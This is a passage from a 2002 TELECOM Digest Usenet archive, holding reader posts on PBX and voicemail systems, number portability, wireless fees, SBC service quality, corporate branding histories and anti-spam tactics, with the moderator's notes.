18:45:01 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Dale Neiburg wrote: > In TD V22 #177 was written: >> George Gilder: Why I Trust Ken Lay >> - Dec 23, 2002 12:00 AM (Forbes Magazine) >> Why I trust the most disgraced chief executive more than I >> do the most reputable public servant. > I dunno ... but, George, I just **happen** to have some prime > waterfront real estate in South Carolina, available at a sacrifice > price if you act fast! Sorry, I'm only interested in beachfront property in North Dakota. Anyway, why should I trust an article that claims to have been written a week and a half in the future? Beyond that, my reaction to the piece is that I now trust George Gilder about as much as I trust Ken Lay or the politicians Gilder says are even worse. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California [TELECOM Digest Editor's Note: That date given was the official date of publication. Many/most magazines carry 'publication' dates in advance of when they appear publicly, oftentimes to give commentators/ reviewers an opportunity to begin reading them and publicly discussing them with others. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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End of TELECOM Digest V22 #184 ****************************** >From editor@telecom-digest.org Sat Dec 14 16:59:34 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBELxYb20465; Sat, 14 Dec 2002 16:59:34 -0500 (EST) Date: Sat, 14 Dec 2002 16:59:34 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212142159.gBELxYb20465@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #185 TELECOM Digest Sat, 14 Dec 2002 17:00:00 EST Volume 22 : Issue 185 Inside This Issue: Editor: Patrick A. Townson Re: Adding Voicemail to Norstar+ Compact ICS (Dave Phelps) Re: Avaya IP Office 406 Issues (Robert G.) Re: In a Roundabout Way (jt) Re: Wireless Carriers Unite With Message: Don't Single Out (J.M. Hoffman) Re: Portable ATM's an Invitation to Fraud? (RHS Linux User) Cell Phone Users to See Increase in Fees (Monty Solomon) Hughes to Shut Down High-Speed Internet Service (Monty Solomon) Cable TV Networks Seen Major Media Focus in 2003 (Monty Solomon) AT&T Wireless Fine Print Irks Customers (Monty Solomon) Perils in Switching to Yahoo (Monty Solomon) Life on the Edge (Monty Solomon) Re: The Farce of National Branding (John Higdon) Re: 011+ From NANP vs. 00+ From Most of World (Dr. Joel M. Hoffman) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Dave Phelps Subject: Re: Adding Voicemail to Norstar+ Compact ICS Date: Fri, 13 Dec 2002 23:19:20 -0600 In article , bhax5000@yahoo.com says: > I have a Norstar+ compact ICS that I want to add voicemail too. Is the > NVM 4.0 just an upgrade card or is it a seperate system? > Thanks, > BHAX The NVM is a standalone PC running OS/2 Warp. It is terribly overpriced, as are all voicemail systems. Not only is the NVM overpriced, it's also underfeatured as compared to 3rd party systems. I would definitely compare the NVM with 3rd party systems. AVT (I believe they've been bought up by someone now) had a great voicemail system in '95 when I was working on it. And it used Dialogic voice cards that simulated Norstar digital sets, so you didn't need analog ports, and the digital integration worked flawlessly. Dave Phelps Phone Masters Ltd. deadspam=tippenring ------------------------------ From: robdonna@sbcglobal.net (Robert G.) Subject: Re: Avaya IP Office 406 Issues Date: 13 Dec 2002 22:20:52 -0800 Organization: http://groups.google.com/ What is it that you are trying to merge? Not all actions or config changes can be merged? We are rolling this product out on a 406 in the Main office and a 403 in our satellite office with a PRI. We will be doing our cut-over in a month. Watch for the release of 1.3 today! DBName feature is there, from what I have been told. As far as the ""appearance"" issue goes, you could set up those two users as a hunt group and set to ring=""group"" that way they ring at the same time. Linear will ring the first user added to that group, then the next, etc. Robert G. Avaya Business Partner Rich Campbell wrote in message news:: > All I can say is WOW! And you are going to install this? > Rich > This Old Man wrote in message > news:telecom22.174.13@telecom-digest.org: >> Hello, >> We just got a new IP Office 406 system in our office in San Jose, >> CA. I'm in IT and will help manage the system. We have complete >> support from a local VAR for one year, however this is the first >> implementation for IP Office so they are learning, too. >> So far our major issues are: >> 1) Dial-by-name directory not delivered from Avaya. Our VAR said Avaya >> said maybe next week it will be ready. >> 2) Programming DSS buttons crashes the system. Our VAR said Avaya said >> this is a known problem and they are working on it. What we are trying >> to accomplish is, for example, I want to be able to answer the phone >> of my assistants extension and I want it to actually ring on my phone. >> On our old NEC system it was an appearance light on the phone. Our >> VAR said I had to use DSS, but 1) the phone does not actually ring - >> the line only flashes, and 2) it crashes the system, or actually the >> digital card, the VAR said. >> 3) We have to reboot the system when we want to add extensions and >> update other settings. So far, the ""Merge"" option has not worked for >> us. >> 4) The 4412D+ handsets are nice but they do not fit well into the >> cradle, and sometimes leave the phone off-hook! >> We have 3 30-port D-term modules and two analog modules. We also have >> Voicemail Pro with Phone Manager Lite. >> If there is other information I can provide please let me know. If >> there is another forum or website I should also be looking at, I'd >> appreciate that information, too. ------------------------------ From: jt Subject: Re: In a Roundabout Way Date: Sat, 14 Dec 2002 11:20:45 -0500 Organization: WorldCom Canada Ltd. News Reader Service What no one has mentioned in discussing the comparative mertits of roundabouts versus stop-lights is the adaptive nature of the former over the latter. When traffic is light (the majority of time) roundabouts are superior. ------------------------------ Subject: Re: Wireless Carriers Unite With Message: Don't Single Out Organization: Excelsior Computer Services From: joel@exc.com (Dr. Joel M. Hoffman) Date: Sat, 14 Dec 2002 16:17:08 GMT > I don't know about ""thousands allocaton"", but number portability is > quite common. Customers with SBC numbers can have that number served by > any SS7-connected CLEC. It doesn't have to fall into any particular > block or have any particular prefix to be portable. When I got my (pre-pay) phone from Verizon, I had my choice of any of three reasonably local area-codes: 845/914/201. The cell companies don't seem to care where your phone is or what your area code is. The days of LD-rates that varied with area-code are also long gone. Furthermore, many localities already have to dial 10 or eleven digits to make a local phone call. I wonder how long it will be before we get rid of area codes that reflect localities. As nearly as I can tell, only one benefit of knowing where an area code is remains: you know what time zone the number is in. -Joel ------------------------------ From: darrel@radiopc.vanbuer.net (RHS Linux User) Subject: Re: Portable ATM's an Invitation to Fraud? Date: 14 Dec 2002 17:34:32 GMT Organization: Concentric Internet Services The data links are typically encrypted with DES or triple DES. The bigger hazzard is likely physical security -- dragging off the unit and (trying) to smash it open. Darrel J. Van Buer, AK6I darrel@vanbuer.net ------------------------------ Date: Fri, 13 Dec 2002 18:25:44 -0400 From: Monty Solomon Subject: Cell Phone Users to See Increase in Fees Cell phone subscribers will see their monthly bills go up next spring because of changes in how the government charges phone companies to underwrite services for rural areas and the poor. The Federal Communications Commission decided Friday almost to double the amount major wireless phone companies pay to the fund used to keep phone connections affordable in low-income and high-cost areas. That fund also helps connect schools and libraries to the Internet. - http://finance.lycos.com/home/news/story.asp?story=30549119 ------------------------------ Date: Fri, 13 Dec 2002 18:29:31 -0400 From: Monty Solomon Subject: Hughes to Shut Down High-Speed Internet Service By Derek Caney NEW YORK, Dec 13 (Reuters) - Hughes Electronics Corp. (NYSE:GMH), the top U.S. satellite television operator, said on Friday it would shut down its loss-making high-speed Internet business, three days after it and No. 2 rival EchoStar Communications Corp. (NYSE:DISH) pulled the plug on their proposed $18 billion merger. DirecTV Broadband, which operates the DirecTV DSL service, had 160,000 subscribers to its Internet service over telephone lines, but the service was expecting to post a 2002 cash flow deficit of $110 million to $120 million. - http://finance.lycos.com/home/news/story.asp?story=30545436 ------------------------------ Date: Fri, 13 Dec 2002 18:30:49 -0400 From: Monty Solomon Subject: Cable TV Networks Seen Major Media Focus in 2003 By Reshma Kapadia NEW YORK, Dec 13 (Reuters) - Executives from Liberty Media, AOL Time Warner Inc., Viacom Inc. and other big media players said this week they are looking to buy, sell or swap cable networks, suggesting deal activity could pick up in 2003. Cable networks, which were hard to come by in the past, are now becoming more available as some companies look to ease debt loads through sales in the current downturn, while the emergence of digital cable allows more channels to exist. - http://finance.lycos.com/home/news/story.asp?story=30548167 ------------------------------ Date: Fri, 13 Dec 2002 21:32:07 -0500 From: Monty Solomon Subject: AT&T Wireless Fine Print Irks Customers By Alorie Gilbert Staff Writer, CNET News.com December 13, 2002, 4:00 AM PT Some customers of AT&T Wireless are being hit with unexpectedly high bills when their plans expire, the result of a little-known clause buried within their contracts. Wireless plans are notoriously complicated, to the point that some companies have run ad campaigns touting their own simplicity while mocking other companies' tangled contracts. In the latest example, an easily overlooked detail in AT&T Wireless bills is generating a fresh round of customer complaints. Some AT&T Wireless customers are learning the hard way that the extras they received when they signed up for service, such as bonus minutes, no longer apply when their one-year contracts expire. As a result, people who think they're calling within the allotted minutes of their plan, are instead charged additional per-minute fees. http://news.com.com/2100-1033-977779.html ------------------------------ Date: Fri, 13 Dec 2002 22:15:48 -0500 From: Monty Solomon Subject: Perils in Switching to Yahoo David Lazarus Pacific Bell may be taking on a new name, but it's still up to the same old tricks. The company's customers were outraged when I wrote how Pac Bell, which now wants to be known by the moniker of its corporate parent, SBC, slipped an insert into recent bills advising that personal information will be shared with business partners unless the customer says otherwise. That's not the half of it. For some services, Yahoo says it will request Pac Bell customers' Social Security number ""and information about your assets."" The online company says it will track DSL subscribers' Internet browsing and share personal information with ""trusted partners."" Such info will be used in part ""to customize the advertising and content you see."" ""Once you create an SBC Yahoo account and sign in to our services, you are not anonymous to us,"" Yahoo warns in surprisingly stark language. http://sfgate.com/cgi-bin/article.cgi?f=/c/a/2002/12/13/BU191399.DTL ------------------------------ Date: Fri, 13 Dec 2002 02:03:53 -0400 From: Monty Solomon Subject: Life on the Edge The geek-driven world of new ""decentralized"" technologies like Wi-Fi, blogging and Web services is more about cutting out the middleman than finding a business model. By Scott Rosenberg Dec. 13, 2002 | The technology industry has long been shaped by the creative tension between technologists and businesspeople, otherwise known as geeks and suits. Geeks make new stuff primarily because it's fun, because it's useful, and because they can. Suits make new stuff primarily because they hope to earn a profit. Yes, that is an oversimplification, and there's overlap between the two types -- there are plenty of profit-seeking geeks and geeky business folks. Still, the distinction is real. You'd think that, today, with the tech industry in its worst downturn in memory, jobs scarce and funding scarcer, bottom-line thinking would dominate. Instead, the recent cratering of so many companies seems to have chastened the suits -- and the very absence of get-rich-quick opportunities has cleared a space for geek enthusiasms to flourish. http://www.salon.com/tech/col/rose/2002/12/13/supernova/ ------------------------------ From: John Higdon Subject: Re: The Farce of National Branding Organization: Green Hills and Cows Date: Sat, 14 Dec 2002 10:24:37 -0800 In article , wollman@khavrinen.lcs.mit.edu (Garrett Wollman) wrote: > You make it sound like the naming rights were given to Pac*Tel out of > the goodness of the builders' hearts. I never made any such claim. In fact, in one post I mentioned that the naming rights extend contractually through the year 2020. > In any case, it is customary for legal documents creating a > relationship of this sort to name parties in the form 'Pacific > Telesis, its successors and assigns'. I never argued that SBC did not have the LEGAL right to name the stadium whatever it likes. That it would change the name, however, points out how little regard SBC has for our community. In article , Ron Chapman wrote: > Xerox? Are you claiming that Xerox sells no captive imports? Are you claiming that all Xerox products are assembled in the US, or in overseas plants that Xerox fully controls? > Coca-Cola? What about the brands that Coca-Cola acquired? > Hardly a farce. John, you do live in a world where that is by far the > rule, but wander outside your front yard a little and see that the > telecom industry *is* the exception by being the leader in this > co-opting and diluting of brand. I'm not the one living in a dream world, sad to say. In article , Paul A Lee wrote: > Chevrolet, Ford, Chrysler, Mack, Harley-Davidson, Goodyear, Boeing, > Caterpillar, John Deere, Briggs & Stratton. What about all the captive import products, built in overseas factories that the names above neither control nor even influence in terms of manufacturing? > Quaker Oats (PepsiCo), Kellogg, Campbell Soup, Tastykake, Wrigley, > Coca-Cola, Pepsi Cola (PepsiCo), Hershey, Del Monte, Heinz, Nabisco > (part of Kraft), Kraft (part of Philip Morris), Philip Morris, Dole, > Hormel, Anheuser-Busch, Adolph Coors, McCormick. Those are all merely holding companies for many times that number of ""national brands"", products that used to be made in factories owned by the company named on the label, but now are made in generic plants that make products for competing ""brands"" as well. > Arm & Hammer (Church & Dwight), Ivory (Procter & Gamble), Clorox, Ball > (jars & cans), R.J. Reynolds, Bristol-Myers Squibb, Johnson & Johnson, > Eli Lilly, Bausch & Lomb, Kleenex (Kimberly-Clark), Gillette, Levi > Strauss, Fruit of the Loom See above. > A&P (The Great Atlantic & Pacific Tea Company), Kroger, Walgreen's, > Macy's, Sears. A&P and Kroger are unknown here, so they are not national brands. Which Macy's are you talking about (there are more than one)? > Kodak, DuPont, Sherwin-Williams, Corning, American Standard, Maytag, > General Electric, Emerson Electric, NCR (National Cash Register), Pitney > Bowes, Diebold, Scotch Brand (3M - Minnesota Mining and Manufacturing), > Steelcase, Smith & Wesson, Remington Arms, Steinway & Sons, Sealy, > Simmons. I would be willing to bet that most of the products supposedly produced by any of those companies are in fact made in ""white-box"" factories overseas. > McGraw-Hill, Hallmark, Dun & Bradstreet, The New York Times. > There are probably five times this many companies, and 50 times as > many brands that have a direct history of 100 years or more. If I only > have to look for a 50-year history, the lists would probably grow by a > factor of ten. If I look worldwide, probably another factor of ten. > There's a lot of business history and heritage out there. Many people > don't care much about it, so it doesn't get a lot of notice. As in > family circles, the outlandish arrangements and behaviors get far more > attention than the more conservative ones. The history and heritage is in your mind (as the companies would like). Sure, they are all household names, but they have cross-traded, spun-off, merged to the point where you could probably not possible trace any sort of lineage. But more importantly, they don't actually make their own products anymore. Who cares what ""brand"" is stamped on the products emerging from any given ISO 9660 plant? > [TELECOM Digest Editor's Note: Don't forget Chicago Tribune Company, > around since 1847, although the Chicago Tribune (newspaper) is just > one of their companies now for many years. PAT] And don't forget the San Francisco Chronicle, which is really the San Francisco Examiner (staff-wise, anyway). The San Francisco Examiner is now nothing more than a shopping rag. The banners of both papers claim existence back into the eighties, but neither paper has any real claim to that history. I rest my case. In article , Michael A. Chance wrote: > It may have been a ""going business"" at the time, but several Wall > Street analysts had Pacific Telesis as being about 18 months away from > bankruptcy at the time of the merger with SBC. It still had a very > bloated management structure, with the corporate culture to match > (remember, this was the company that spawned ""Dilbert""), and they were > getting fined by the CPUC for missing performance targets on a regular > basis. No matter what else you say about SBC, they turned all those > things around, and, in the process, hired several hundred additional > people in the repair centers and customer service centers. Actually, SBC decimated the service from Pacific Bell. Their first act was to shut down the ""advanced digital network"" that Pacific Bell (a much more forward-thinking company under Pacific Telesis than SBC ever was) was using to replace its aging copper plant. That meant that customers that had already been switched to the fiber network had to be put back on ancient copper. In fact, in some areas, like my neighborhood, they had to install new cabling throughout because there were not enough reclaimable pairs in the legacy plant. It was a very stupid move on SBC's part. But then, they do everything like they do in San Antonio. > So the extensive DSL capability simply appeared out of thin air? Extensive? More people cannot get DSL in Silicon Valley than can get it ... even today. Perhaps I could tell you about the Program Services department that cannot install equalized lines now no matter how hard they try. Or the blase attitude about T1s. The old PacBell would dispatch day or night on a hicap circuit. I've got one in trouble right now that has been suffering for days. Or how about the fact that they cannot seem to keep them working in the first place? None of this was a problem before the Texans came in and fired all the people who knew how. > I think that you'd get a different story from the state PUCs in > Wisconsin, Michigan, Indiana, Ohio, and especially Illinois. Prior to > the merger with SBC, they were all rating Ameritech's service as ""fair > to poor"", with millions of dollars in fines being assessed each month. > Customer service still isn't perfect, but, under SBC's management, > they're a lot closer to meeting those performance targets each month. The exact opposite has happened in California. We used to get knowledgable techs who could make things happen. Now, we get disgruntled folks who just haven't found a better job yet who go through the motions. When you dialed 611, you got someone who wrote up a repair order. Now you get a time-wasting, convoluted recording that ultimately tells you that the problem is at your end and then says ""goodbye"". Or CSRs that are more interested in selling you lucrative feature packages than making the changes you want on the account or answering your questions. Oh, yeah ... service is REALLY better now with SBC. > It's recently come out that Ameritech was in a lot worse shape than > Notabaert and company let on during the ""due diligence"" portion of the > merger process, and that SBC has had to spend huge amounts to > straighten out that part of the company in the last couple of years. My heart bleeds. I would give anything to have a telco run by Californians again. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: Just a couple comments. The Chicago Tribune (as a newpaper) began in June, 1847. The fellow who started it back then ran into some financial problems early on and sold it a couple years later. Around 1860, they formed the Chicago Tribune Company (they had a 'company' all along of course, but around 1860 made it a formal thing.) When the C.T. Company started, the newspaper was its product. They began picking up other products as they went along, including a fledgling radio station operation in 1921, which they called WGN at 720 kc on the AM dial, since after all, the Chairman of their board at that time, Colonel McCormick did believe he had the orld's reatest newspaper. A few years after that, in 1928, they built their huge skyscraper in downtown Chicago on Michigan Avenue, and moved all their operations in there. Two other Chicago newspapers (Chicago American and Chicago Herald, which was a Hearst publication) merged in the 1930's and before too long, the combined product (called the Chicago Herald-American) was bought from Hearst by Colonel McCormick and it operated in the Tribune Towers Building (along with the Tribune) until I think about 1967. It was folded when McCormick wanted to start a new afternoon newspaper called 'Chicago Today' to compete with the Chicago Daily News, which by that time was the afternoon version of the Chicago Sun-Times, but considered editorially independent. (The Chicago Sun and The Chicago Times had merged in 1941 to become the Chicago Sun Times, which was Colonel McCormick's biggest threat). With their aquisition of the Daily News around 1958 or so, the Tribune had some catching up to do. By the way, the Daily News was started in 1878 by Victor Lawson (of Lawson YMCA fame [a 1928 endowment by him to the Young Men's Christian Association of Metropolitan Chicago, which took the money and built a new YMCA residence in his name]). Once afternoon newspaper publishing got to be an economic nightmare, the Sun-Times folded the Daily News in the afternoon, and the Tribune gave up on Chicago Today. Now in the past few years, both of Chicago's major papers have stuck their toes in that water again, with afternoon editions of their own. In more recent years when that Australian guy owned the Sun Times, *he* used that tenuous connection back to the old Daily News days as his rationale for 'this paper has been around for more than a century', and the corporate executives of the Tribune Company almost soiled their underwear when they read that in the paper one day. Anyway, the Tribune Company in recent years still has the Tribune newspaper of course, the radio/television/ media conglomerate, and Freedom Center, the huge printing plant on the Chicago River (on the river, so they can get their boatloads of newsprint from Canadian forests they own, and chop down for not only the Tribune, but the several suburban newspapers they print each day, the satellite editions of the Wall Street Journal and the Christian Science Monitor, and a couple other general interest magazines they publish for the magazines' owners/publishers.) The last I heard, they were trying to 'steal' Readers Digest from the R.R. Donnelly Company, which in addition to printing every telephone book in the world, has two huge presses devoted 24/7 to printing up X-jillion copies of Readers Digest each month. That's the Chicago Tribune Company, which began in 1847. My second point today in this somewhat long note: SBC has 'proudly' served Independence since about the start of the 1900's under the name Southwestern Bell Telephone Company, which name still graces the local central office building (and former business office as well) over at 6th and Maple Streets. They 'proudly' offer us all DSL as long as we live close enough to the CO ... but that's not a big problem for 95 percent of our town, two miles long and a mile and a half wide. The only people here in town who cannot get DSL service (if they want it) are the people in the 'rich part of town' north of Taylor Road; that little section called 'country club'. When the CO was built around 1900, it was located in the main part of town which is where I live (southeast area) which was all there was to Independence back in those days. PAT] ------------------------------ Subject: Re: 011+ From NANP vs. 00+ From Most of World Organization: Excelsior Computer Services From: joel@exc.com (Dr. Joel M. Hoffman) Date: Sat, 14 Dec 2002 18:48:50 GMT > One of they KEY objectives of anyone designing a telephone numbering > plan, is to minimise the impact of misdialling which, statistically, > is bound to happen. If this were true, dialing plans would have a check-digit in place. The idea is that, given an 8-digit number, if you mis-dial one and only one number you don't get a working number at all. THAT would drastically reduce the number if misdialed numbers. -Joel ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. 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End of TELECOM Digest V22 #185 ****************************** >From editor@telecom-digest.org Sun Dec 15 17:20:14 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBFMKEs18018; Sun, 15 Dec 2002 17:20:14 -0500 (EST) Date: Sun, 15 Dec 2002 17:20:14 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212152220.gBFMKEs18018@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #186 TELECOM Digest Sun, 15 Dec 2002 17:20:00 EST Volume 22 : Issue 186 Inside This Issue: Editor: Patrick A. Townson Re: Call Waiting Prison and Telemarketers (jbl) Re: The Farce of National Branding (John Higdon) Re: Anti-Spam Countermeasures (SELLCOM Tech support) Re: The Farce of National Branding (Mark Brader) Re: The Farce of National Branding (Ron Chapman) Re: The Farce of National Branding (Al Iverson) Re: The Farce of National Branding (Steven J. Sobol) Re: Local Phone Service Inquiry by Reporter (EM Handler) Re: Cell Phone Users to See Increase in Fees (Joseph) Re: Best Kid Safe Software Filter? (Vern) Re: MCI Once Again Ripping Off Customers (OneNetNut) Re: Hughes to Shut Down High-Speed Internet Service (OneNetNut) Re: 011+ From NANP vs. 00+ From Most of World (Paul Coxwell) Re: Wireless Carriers Unite With Message: Don't Single Out (Linc Madison) Taxes/Transfers, was: Re: Cell Phone Users to See Increase (Dan Burstein) TelcoMgr Software (EM Handler) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: jbl Subject: Re: Call Waiting Prison and Telemarketers Date: Sat, 14 Dec 2002 13:32:21 -0700 Organization: On the desert Reply-To: jbl@spamblocked.com In , PaulCoxwell@aol.com wrote: > If you ignore the new caller, chances are that when he gets around to > calling back you'll get an offended-sounding ""Why didn't you answer my > call? Didn't you hear the call-waiting beeps?"" In the US the caller has no way to know whether the called party has call-waiting and ignoring it, or whether no one is home, the phone is broken, or is being unanswered for some other reason. Conceivably, some time after the called party has ignored the second beep, the exchange could play a busy signal instead of ring signal (this would probably be about 10 rings), but I haven't been in a situation where I could find out if it does that. I suspect, however, that it doesn't. /JBL > Paul Coxwell, > Norfolk, U.K. [TELECOM Digest Editor's Note: And in fact, that *does* happen in many central offices, particularly if you are calling long distance. Here in Independence at least, if you allow a phone to ring unanswered for about three minutes, the ringing will stop and a recorded message of an impatient lady comes on saying 'the number is not going to answer now. Try again later.' And with that, you are cut off. A nightly talk show on the radio uses the number 800-322-5385. The announcer at the start of the show says, 'allow the phone to keep ringing; we will answer when we are ready to take your call ...' and that may be five or ten minutes. Uh, uh ... not according to SWB it won't be five or ten minutes; about three minutes of ringing is the limit. I can see what the radio is trying to do; trying to keep a lid on their own toll free charges phone bill, but that won't work according to AT&T and Southwestern Bell. You then have to hang up after you hear that recording start and immediatly redial to reach the show. But chances are likely someone else then beats you to the draw, and *they* get to sit there three minutes listening to ringing (you get a busy signal) before *they* get cut off and you (on your frantic redial attempts) get back in for another three minutes of waiting again. PAT] ------------------------------ From: John Higdon Subject: Re: The Farce of National Branding Organization: Green Hills and Cows Date: Sat, 14 Dec 2002 14:14:57 -0800 In article , TELECOM Digest Editor's noted: > The only people here in town who cannot get DSL service > (if they want it) are the people in the 'rich part of town' north > of Taylor Road; that little section called 'country club'. When the > CO was built around 1900, it was located in the main part of town > which is where I live (southeast area) which was all there was to > Independence back in those days. PAT] A real (non-SBC) telco would see those potential country club customers and install a fiber hut right in the middle of it and equip it with DSLAMs. But, as all the field techs say to me now, ""SBC hates fiber."" Too bad, since puting a fiber hut out there would improve the POTS service as well. But as I read the SBC webpage, the company is only interested in making its REAL customers (the shareholders) happy. The paying users of the service are just a necessary evil. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: Funny you should mention it. My doctor, (who lives in that part of town, although his practice is in the center of town across the street from Mercy Hospital, says he has tried to get DSL for a couple years, but SWB says it is not available 'up there'. However, in one of my walks around town last summer, I passed an open field a few blocks from the high school (around 15th and Oak Streets) which has a large fence around it with a sort of junky shed there with a lot of junk on the side of it, a bunch of microwave dish parts laying on the ground, and a sign on the fence warning against trespassing and that violators will be prosecuted, signed Southwestern Bell Telephone Company. Not SBC, mind you, Southwestern Bell Telephone Company. One day I saw an actual telephone truck parked outside (but in the grounds there.) No one seems to know what it is for. But it does not come close to resembling the beautiful old antique central office building downtown which years ago also had a business office of the first floor. I always see trucks in their parking area also. The high school is up in that general area north side of town. Oh, and terraworld, our local ISP and *their* new competitive phone company claim to have DSL available, but three guesses who they get the 'last mile' of it from. It turns out their new competitive phone company has its business office in the Independence Corporate Center Building downtown, but *their* CO is in SWBell's building on 6th and Maple Streets. PAT] ------------------------------ From: SELLCOM Tech support Subject: Re: Anti-Spam Countermeasures Organization: www.sellcom.com Reply-To: support@sellcom.com Date: Sun, 15 Dec 2002 00:56:45 GMT Chris Kantarjiev posted on that vast internet thingie: >> It's pretty common these days to use a decoy account. Use one >> account on a free service like Microsoft's (nasdaq: MSFT - news - >> people ) Hotmail or Yahoo! (nasdaq: YHOO - news - people ) to give >> out to Web sites and mailing lists, while keeping your ""real"" e-mail >> account -- that is, the one you want your friends and family to >> actually use -- a secret given only to trusted people. > What nonsense. This is analogous to saying I should rent a post office > box in a neighboring town so I don't get junk mail at home, and when > my PO box gets full, I should rent another one. > Or, that I should move when the junk mail load to my house gets too > heavy. > Bah. There are things we can do that can at least give us a warm fuzzy feeling. For spam traceroute the spam AND the website being spamvertised and forward to the postmaster or two above the spammer and uce@ftc.gov Then build your collection of thank you notes from postmasters all over the world. For telemarketers tell them to take you off of their list and remind them cordially that telemarketers are the scum of the earth. For spam FAXes save them all in a big envelope and send to the FCC enforcement division once a month or so. For credit card thingies with the postage paid return envelope just pack it all back in that (including their original envelope) and put a priority mail sticker (rolls of which are free from the post office) on it and drop it into the outgoing mail. Imagine if everyone did that ... Phil Earnhardt posted on that vast internet thingie: > It also mis-labeled opt-in e-mails as spam. A lot of spam is now claiming to be ""opt in"". This would be amusing when we receive those on unused email addys ... Steve at SELLCOM http://www.sellcom.com Discount multihandset cordless phones by Siemens, Vtech 5.8Ghz EnGenius NEW EP436 4line (the longest range), Panasonic, Twinhead notebooks, WatchGuard firewall, Okidata, Polycom! If you sit at a desk www.ergochair.biz you owe it to yourself. ------------------------------ Subject: Re: The Farce of National Branding Date: Sat, 14 Dec 2002 22:09:12 EST From: msb@vex.net (Mark Brader) Rodgers Platt writes: > Recently United Airlines has started a new marketing campaign proudly > crowing they have been providing service for over 70 years. This is > another of those claims by a company that didn't exist back then. > United was formed through the merger of several smaller carriers back > in the late 50's or early 60's. Yes, except it was the late 1920s and early 1930s, which would be -- hey, how about that? -- just about 70 years ago. Here are excerpts from the corporate history under www.ual.com, showing the trail of mergers. | April 6, 1926 | Walter T. Varney launches contract air mail service between Pasco, | Wash. and Elko, Nev. via Boise, Idaho, marking the true beginning of | U.S. commercial air transportation and the birth of United Airlines. | May 12, 1926 | National Air Transport (NAT) begins air service between Chicago and | Dallas, via Kansas City, Mo. | Sept. 15, 1926 | Pacific Air Transport (PAT) inaugurates service between Los Angeles | and Seattle. | July 1, 1927 | Boeing Air Transport (BAT) starts commercial air service between | Chicago and San Francisco. | Oct. 30, 1928 | Boeing Airplane - Transport Corp. (BATC) is incorporated in Delaware | and acquires BAT, PAT and the Boeing Airplane Co. as subsidiaries. | Feb. 1, 1929 | BATC changes its name to United Aircraft and Transport Corp.(UATC) and | acquires several new subsidiaries, including Pratt & Whitney Aircraft, | Hamilton Standard Propeller Co. and Chance Vought Corp. | March 31, 1930 | UATC acquires NAT and, three months later, acquires Varney Air Lines. | March 28, 1931 | United Air Lines, Inc. (UAL) is incorporated as a management | corporation to coordinate operations of UATCs airline subsidiaries. In 1934 there was a reorganization; I've been told that this was the result of an antitrust case. The same company was no longer allowed to manufacture airplanes and airplane engines and operate an airline. | May 1, 1934 | United Air Lines, Inc. (UAL) becomes an operating company ... | July 19, 1934 | Boeing Airplane and Stearman Aircraft companies spun-off and | incorporated to form Boeing Airplane Co. | | July 20, 1934 | United Airlines Transport Corporation (UALTC) is formed to succeed UAL | as owner/operator of BAT, NAT, PAT and Varney and United Airports of | California. | | July 21, 1934 | Non airline subsidiaries for UALTC spun-off and incorporated as United | Aircraft Corp. | | Aug. 31, 1934 | United Aircraft and Transport Corp. dissolved. | Dec. 28, 1934 | BAT, NAT, PAT and Varney are merged into UALTC. United Airports of | California is sold to Lockheed Corporation. And there we are. After that the only relevant events are: | Dec. 22, 1943 | United Air Lines Transport Corp. (UALTC) changes its name to United | Air Lines, Inc. (UAL). | June 1, 1961 | United merges with Capital Airlines, absorbing 7,000 new employees and | all of Capital's routes to become the world's largest commercial | airline. Perhaps Rodgers was confusing that last merger with the earlier ones. Or perhaps there were several additional mergers before 1961 that United somehow thought they didn't need to mention on their web site... ObTelecom: None that I can think of. Mark Brader ""It is considered a sign of great {winnitude} Toronto when your Obs are more interesting than other msb@vex.net people's whole postings."" --Eric Raymond My text in this article is in the public domain. ------------------------------ Date: Sat, 14 Dec 2002 21:39:49 -0500 From: Ron Chapman Subject: Re: The Farce of National Branding In article , John Higdon wrote: >> Xerox? > Are you claiming that Xerox sells no captive imports? Are you claiming > that all Xerox products are assembled in the US, or in overseas plants > that Xerox fully controls? Yes. > I'm not the one living in a dream world, sad to say. John, I've agreed with you much more than not -- but on this one, you're completely wrong. I didn't say you were living in 